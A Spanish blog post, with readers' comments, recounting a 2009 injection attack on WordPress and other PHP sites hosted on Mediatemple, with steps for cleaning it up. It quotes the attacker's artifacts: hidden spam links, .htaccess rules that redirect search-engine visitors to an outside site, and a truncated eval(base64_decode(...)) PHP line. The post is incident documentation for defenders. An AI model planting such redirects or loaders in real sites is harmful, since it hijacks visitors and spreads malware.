WordPress, Mediatemple y una inyección de código

Hoy me ha tocado luchar contra un ataque de inyección de código que ha afectado a varias de las webs que gestiono. Aunque no ha sido muy grave, quiero documentarlo aquí por si alguien se encuentra en la misma situación.

Al comprobar las estadísticas de una de esas webs (con WordPress 2.8.5), he visto que desde hacía varios días se recibían muy pocas visitas. Al visitar la web directamente con el navegador me ha llamado la atención que había un error de validación (para esto utilizo HTML Validator para Firefox. Es muy simple: verde, todo correcto; rojo, error de validación).

Al comprobar veo que el error de validación que me da es: there is no attribute "style". ¿Un “style” entre el código HTML? Muy pocas veces incrusto estilos con “style”, así que miro el código y me encuentro esto justo antes de cerrar el body:

<!--5edfgh345--> Seguido de una lista con más de 300 enlaces a páginas la mayoría de contenido pornográfico (no aparecen al visitar la web precisamente porque el estilo incrustado que hace que no valide es: “display: none“.

Un ejemplo de los links que aparecen:

<a href="http://******.com/gallery/zkdxk/jennifer-hudson-official-website.html">
jennifer hudson official website</a>

Sigo con las comprobaciones. Solo funciona la página de inicio. Ningún enlace a las otras páginas de la web funciona (por eso se detectaba un descenso en las visitas). Al entrar en el area de administración de la web veo que todo el contenido está ahí, así que imagino que es algún error con el .htaccess. Al abrirlo veo que hay otro código intruso inyectado:

AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

Al comprobar otras webs en el mismo servidor he visto que pasaba lo mismo, usaran WordPress o no, tanto las que utilizan PHP como las que están hechas en HTML. En las páginas sin PHP (sólo HTML, lógicamente por tanto sin WordPress), antes del cierre del body aparece:

<!--5edfgh345-->
<?php eval(base64_decode("JGw9Imh0dHA6 ... k7fSBwcmludCBAJHI7DQo=")); ?>

Es decir, se inserta el código eval() de javascript pero no aparecen los links. En páginas con PHP (incluidas WordPress con 2.8.5 instalado) el código se ejecuta y aparece toda la basura.

Qué hacer

Lo suyo es comprobar la fecha de actualización de los archivos de cada web (con un programa FTP, por ejemplo). Esto da una pista para saber qué archivos han sido modificados últimamente. En mi caso, todas las webs habían actualizado el archivo index.html o index.php de la raíz y creado o editado el .htaccess el mismo día, el día del ataque.

  1. Sustituir el archivo .htaccess infectado por la copia que deberíamos tener. Si no tenemos copia, lo descargamos (o lo editamos directamente en el servidor) y eliminamos el código de arriba (¡Cuidado con lo que borras! Si no estás seguro de lo que haces, pide que alguien con experiencia te ayude)
  2. Lo mismo con el archivo index.html o index.php de la raíz. Si no tenemos una copia a mano, eliminamos desde “<!–5edfgh345–>” hasta que acaba esa linea.

En las webs que gestiono en ese servidor (alojadas por cierto en Mediatemple) el problema no ha ido más allá. Seguiré comprobando estos días esas webs para asegurarme de que no aparecen nuevos problemas.

Describo todo esto con detalle porque lo único parecido que he encontrado en internet es esta entrada:
WordPress, MediaTemple, and an Injection Attack.

El autor explica que en su caso (WordPress 2.8.5 / Mediatemple) fue víctima del mismo ataque en las mismas fechas. Al contactar con los responsables del hosting, vieron que una IP de Texas envió una petición POST a WordPress que consiguió subir un archivo que al extraerse inyectó el código javascript eval() responsable de la aparición de cientos de links a páginas no deseadas.

En su caso, el código se insertaba en todas las entradas publicadas después del ataque y todos los links redireccionaban a una web de malware, y recomienda:

  • 1. Eliminar el código eval() de “index.php” en la raíz de WordPress
  • 2. Borrar y recrear todas las entradas infectadas (desde el panel de control, no directamente en la base de datos)
  • 3. Borrar el archivo .nfs* en la raíz de WordPress
  • 4. Sustituir todos los archivos de WordPress por una instalación limpia
  • 5. Eliminar el código no deseado de .htaccess

Es un ataque parecido al de los permalinks cambiados a “eval(base64_decode($_SERVER[HTTP_REFERER]” de WordPress, con inyección MySQL.

ACTUALIZACIÓN (11/11/2009): Otro caso que acabo de encontrar: PHP Injection into the index.php files in ExpressionEngine. Al parecer no se trata sólo de WordPress. También pasa lo mismo con ExpressionEngine.

ACTUALIZACIÓN (16/11/2009): Otros ataques similares posteriores utilizan el número <!–yje35zfv8SU–> y al parecer afecta no solo a instalaciones de WordPress sino de Drupal, Joomla, Magento o cualquiera que utilice PHP, pero por lo visto, solo alojados en Mediatemple, por lo que no parece que se trate de un problema de estos CMS.

Más enlaces que hablan de ello:
http://jeffreybarke.net/tag/hacked/
http://adrian3.com/2009/11/mediatemplewordpress-hack/
http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website

Comentarios

  1. ana

    aquí otra damnificada …también en mediatemple y con joomla….en fin…esto ya me huele muuuy mal.
    En mi caso me di cuenta porque generó un error php y por lo visto…salen los errores en fin…

    Me modificaron htaccess e index de todos los dominios que tengo…
    Me pusieron esto antes del <!–yje35zfv8SU–>

    y en los htaccess lo mismo que a este chico:
    http://adrian3.com/2009/11/mediatemplewordpress-hack/

  2. ana

    lo que iba a poner es que me pusieron lo que comentas en la actualización del 16/11
    por si sirve a mi me atacaron el 14/11 a las 21 y algo hora española

  3. Dani

    Si, todo el mundo coincide en las mismas fechas y en dominios alojados en Mediatemple (gs). Al principio se pensó que era un problema de WordPress pero leyendo lo que dicen muchos afectados, ya se ha descartado porque afectó a todo tipo de sistemas.

  4. En efecto ataco a todo tipo de sistemas, nosotros no manejamos ningún CMS y afecto a nuestros archivos en mediatemple, saludos, gracias por la info.

  5. The Hunter

    Estimado Daniel, estuve leyendo tu post que tiene bastante tiempo, quisiera saber si encontraste la forma de evitar este tipo de inyeccion de codigo

    gracias

Y tú qué opinas?

Las URLs se convertirán en enlaces automáticamente. Tu dirección de email no se publicará ni se utilizará para enviar ningún tipo de información. Los mensajes que no aporten nada al tema que se trata en esta entrada se borrarán. Las imágenes que aparecen al lado de cada autor utilizan el servicio de Gravatar. Recuerda que puedes usar etiquetas HTML como <a href>, <code>, <em> o <strong> en los comentarios.

(necesario)

(opcional)